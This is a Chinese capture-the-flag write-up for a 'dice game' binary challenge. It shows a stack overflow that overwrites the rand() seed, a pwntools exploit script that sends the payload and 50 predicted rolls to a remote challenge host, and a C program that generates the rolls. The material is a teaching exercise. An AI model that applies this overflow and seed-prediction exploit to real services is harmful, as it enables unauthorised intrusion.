dice game

0x01 寻找漏洞

1
2
3
题目考察的是:rand()生成的随机数和随机种子seed()有关,通过观察题目,可以发现存在溢出漏洞,通过输入可以覆盖到seed(),实现一个可预测的随机数列。

ida分析

1
buf覆盖0x40位就能覆盖到seed

1
sub_A20()如下,就是比较你输入的数是否和产生的随机数相等

1
当回答正确50次时,会执行sub_B28这个函数,读取flag。

0x02 思路分析

1
所以我们要做的就是,将seed覆盖掉,并且去预测生成的随机数。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

p = remote("111.198.29.45",56942)


asm =[2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1]


payload = 'A'*0x40 + p64(0)
p.recvuntil("know your name: ")
p.sendline(payload)


for x in asm:
p.recvuntil("Give me the point(1~6): ")
p.send(str(x) + '\n')


p.interactive()

### 产生随机数的脚本

#include <stdio.h>
#include <stdlib.h>


int main(){
srand(0); ##切记一定是0 ,第一次尝试错误了 没有将种子设置为0
for(int i=0;i<50;i++)

printf("%d,",rand()%6 +1);
printf("\n");
return 0;
}
0%